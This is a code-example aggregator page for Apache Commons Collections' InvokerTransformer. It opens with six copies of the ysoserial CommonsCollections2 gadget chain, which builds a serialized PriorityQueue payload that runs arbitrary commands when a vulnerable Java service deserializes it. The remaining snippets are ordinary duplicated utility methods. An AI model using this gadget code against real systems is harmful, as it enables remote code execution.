Java 类org.apache.commons.collections4.functors.InvokerTransformer 实例源码

项目:APacheSynapseSimplePOC    文件:CommonsCollections2.java   
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}
项目:ysoserial-modified    文件:CommonsCollections2.java   
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {


    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}
项目:ysoserial-plus    文件:CommonsCollections2.java   
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}
项目:JavaSerialKiller    文件:CommonsCollections2.java   
public Queue<Object> getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}
项目:Java-Deserialization-Exploit    文件:CommonsCollections2.java   
public Queue<Object> getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}
项目:ysoserial    文件:CommonsCollections2.java   
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}
项目:HCFCore    文件:PredicateUtils.java   
/**
 * Creates a Predicate that invokes a method on the input object.
 * The method must return either a boolean or a non-null Boolean,
 * and have no parameters. If the input object is null, a
 * PredicateException is thrown.
 * <p>
 * For example, <code>PredicateUtils.invokerPredicate("isEmpty");</code>
 * will call the <code>isEmpty</code> method on the input object to
 * determine the predicate result.
 *
 * @param <T>  the type that the predicate queries
 * @param methodName  the method name to call on the input object, may not be null
 * @return the predicate
 * @throws NullPointerException if the methodName is null.
 * @see InvokerTransformer
 * @see TransformerPredicate
 */
public static <T> Predicate<T> invokerPredicate(final String methodName) {
    // reuse transformer as it has caching - this is lazy really, should have inner class here
    return asPredicate(InvokerTransformer.<Object, Boolean>invokerTransformer(methodName));
}
项目:HCFCore    文件:PredicateUtils.java   
/**
 * Creates a Predicate that invokes a method on the input object.
 * The method must return either a boolean or a non-null Boolean,
 * and have no parameters. If the input object is null, a
 * PredicateException is thrown.
 * <p>
 * For example, <code>PredicateUtils.invokerPredicate("isEmpty");</code>
 * will call the <code>isEmpty</code> method on the input object to
 * determine the predicate result.
 *
 * @param <T>  the type that the predicate queries
 * @param methodName  the method name to call on the input object, may not be null
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the predicate
 * @throws NullPointerException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 * @see InvokerTransformer
 * @see TransformerPredicate
 */
public static <T> Predicate<T> invokerPredicate(final String methodName, final Class<?>[] paramTypes,
                                                final Object[] args) {
    // reuse transformer as it has caching - this is lazy really, should have inner class here
    return asPredicate(InvokerTransformer.<Object, Boolean>invokerTransformer(methodName, paramTypes, args));
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Gets a Transformer that invokes a method on the input object.
 * The method must have no parameters. If the input object is null,
 * null is returned.
 * <p>
 * For example, <code>TransformerUtils.invokerTransformer("getName");</code>
 * will call the <code>getName/code> method on the input object to
 * determine the transformer result.
 *
 * @param <I>  the input type
 * @param <O>  the output type
 * @param methodName  the method name to call on the input object, may not be null
 * @return the transformer
 * @throws NullPointerException if the methodName is null.
 * @see InvokerTransformer
 */
public static <I, O> Transformer<I, O> invokerTransformer(final String methodName) {
    return InvokerTransformer.invokerTransformer(methodName, null, null);
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Gets a Transformer that invokes a method on the input object.
 * The method parameters are specified. If the input object is {@code null},
 * {@code null} is returned.
 *
 * @param <I>  the input type
 * @param <O>  the output type
 * @param methodName  the name of the method
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the transformer
 * @throws NullPointerException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 * @see InvokerTransformer
 */
public static <I, O> Transformer<I, O> invokerTransformer(final String methodName, final Class<?>[] paramTypes,
                                                          final Object[] args) {
    return InvokerTransformer.invokerTransformer(methodName, paramTypes, args);
}
项目:HCFCore    文件:ClosureUtils.java   
/**
 * Creates a Closure that will invoke a specific method on the closure's
 * input object by reflection.
 *
 * @see org.apache.commons.collections4.functors.InvokerTransformer
 * @see org.apache.commons.collections4.functors.TransformerClosure
 *
 * @param <E>  the type that the closure acts on
 * @param methodName  the name of the method
 * @return the <code>invoker</code> closure
 * @throws NullPointerException if the method name is null
 */
public static <E> Closure<E> invokerClosure(final String methodName) {
    // reuse transformer as it has caching - this is lazy really, should have inner class here
    return asClosure(InvokerTransformer.<E, Object>invokerTransformer(methodName));
}
项目:HCFCore    文件:ClosureUtils.java   
/**
 * Creates a Closure that will invoke a specific method on the closure's
 * input object by reflection.
 *
 * @see org.apache.commons.collections4.functors.InvokerTransformer
 * @see org.apache.commons.collections4.functors.TransformerClosure
 *
 * @param <E>  the type that the closure acts on
 * @param methodName  the name of the method
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the <code>invoker</code> closure
 * @throws NullPointerException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 */
public static <E> Closure<E> invokerClosure(final String methodName, final Class<?>[] paramTypes,
                                            final Object[] args) {
    // reuse transformer as it has caching - this is lazy really, should have inner class here
    return asClosure(InvokerTransformer.<E, Object>invokerTransformer(methodName, paramTypes, args));
}
项目:HCFCore    文件:PredicateUtils.java   
/**
 * Creates a Predicate that invokes a method on the input object.
 * The method must return either a boolean or a non-null Boolean,
 * and have no parameters. If the input object is null, a
 * PredicateException is thrown.
 * <p>
 * For example, <code>PredicateUtils.invokerPredicate("isEmpty");</code>
 * will call the <code>isEmpty</code> method on the input object to
 * determine the predicate result.
 *
 * @param <T>  the type that the predicate queries
 * @param methodName  the method name to call on the input object, may not be null
 * @return the predicate
 * @throws NullPointerException if the methodName is null.
 * @see InvokerTransformer
 * @see TransformerPredicate
 */
public static <T> Predicate<T> invokerPredicate(final String methodName) {
    // reuse transformer as it has caching - this is lazy really, should have inner class here
    return asPredicate(InvokerTransformer.<Object, Boolean>invokerTransformer(methodName));
}
项目:HCFCore    文件:PredicateUtils.java   
/**
 * Creates a Predicate that invokes a method on the input object.
 * The method must return either a boolean or a non-null Boolean,
 * and have no parameters. If the input object is null, a
 * PredicateException is thrown.
 * <p>
 * For example, <code>PredicateUtils.invokerPredicate("isEmpty");</code>
 * will call the <code>isEmpty</code> method on the input object to
 * determine the predicate result.
 *
 * @param <T>  the type that the predicate queries
 * @param methodName  the method name to call on the input object, may not be null
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the predicate
 * @throws NullPointerException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 * @see InvokerTransformer
 * @see TransformerPredicate
 */
public static <T> Predicate<T> invokerPredicate(final String methodName, final Class<?>[] paramTypes,
                                                final Object[] args) {
    // reuse transformer as it has caching - this is lazy really, should have inner class here
    return asPredicate(InvokerTransformer.<Object, Boolean>invokerTransformer(methodName, paramTypes, args));
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Gets a Transformer that invokes a method on the input object.
 * The method must have no parameters. If the input object is null,
 * null is returned.
 * <p>
 * For example, <code>TransformerUtils.invokerTransformer("getName");</code>
 * will call the <code>getName/code> method on the input object to
 * determine the transformer result.
 *
 * @param <I>  the input type
 * @param <O>  the output type
 * @param methodName  the method name to call on the input object, may not be null
 * @return the transformer
 * @throws NullPointerException if the methodName is null.
 * @see InvokerTransformer
 */
public static <I, O> Transformer<I, O> invokerTransformer(final String methodName) {
    return InvokerTransformer.invokerTransformer(methodName, null, null);
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Gets a Transformer that invokes a method on the input object.
 * The method parameters are specified. If the input object is {@code null},
 * {@code null} is returned.
 *
 * @param <I>  the input type
 * @param <O>  the output type
 * @param methodName  the name of the method
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the transformer
 * @throws NullPointerException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 * @see InvokerTransformer
 */
public static <I, O> Transformer<I, O> invokerTransformer(final String methodName, final Class<?>[] paramTypes,
                                                          final Object[] args) {
    return InvokerTransformer.invokerTransformer(methodName, paramTypes, args);
}
项目:HCFCore    文件:ClosureUtils.java   
/**
 * Creates a Closure that will invoke a specific method on the closure's
 * input object by reflection.
 *
 * @see org.apache.commons.collections4.functors.InvokerTransformer
 * @see org.apache.commons.collections4.functors.TransformerClosure
 *
 * @param <E>  the type that the closure acts on
 * @param methodName  the name of the method
 * @return the <code>invoker</code> closure
 * @throws NullPointerException if the method name is null
 */
public static <E> Closure<E> invokerClosure(final String methodName) {
    // reuse transformer as it has caching - this is lazy really, should have inner class here
    return asClosure(InvokerTransformer.<E, Object>invokerTransformer(methodName));
}
项目:HCFCore    文件:ClosureUtils.java   
/**
 * Creates a Closure that will invoke a specific method on the closure's
 * input object by reflection.
 *
 * @see org.apache.commons.collections4.functors.InvokerTransformer
 * @see org.apache.commons.collections4.functors.TransformerClosure
 *
 * @param <E>  the type that the closure acts on
 * @param methodName  the name of the method
 * @param paramTypes  the parameter types
 * @param args  the arguments
 * @return the <code>invoker</code> closure
 * @throws NullPointerException if the method name is null
 * @throws IllegalArgumentException if the paramTypes and args don't match
 */
public static <E> Closure<E> invokerClosure(final String methodName, final Class<?>[] paramTypes,
                                            final Object[] args) {
    // reuse transformer as it has caching - this is lazy really, should have inner class here
    return asClosure(InvokerTransformer.<E, Object>invokerTransformer(methodName, paramTypes, args));
}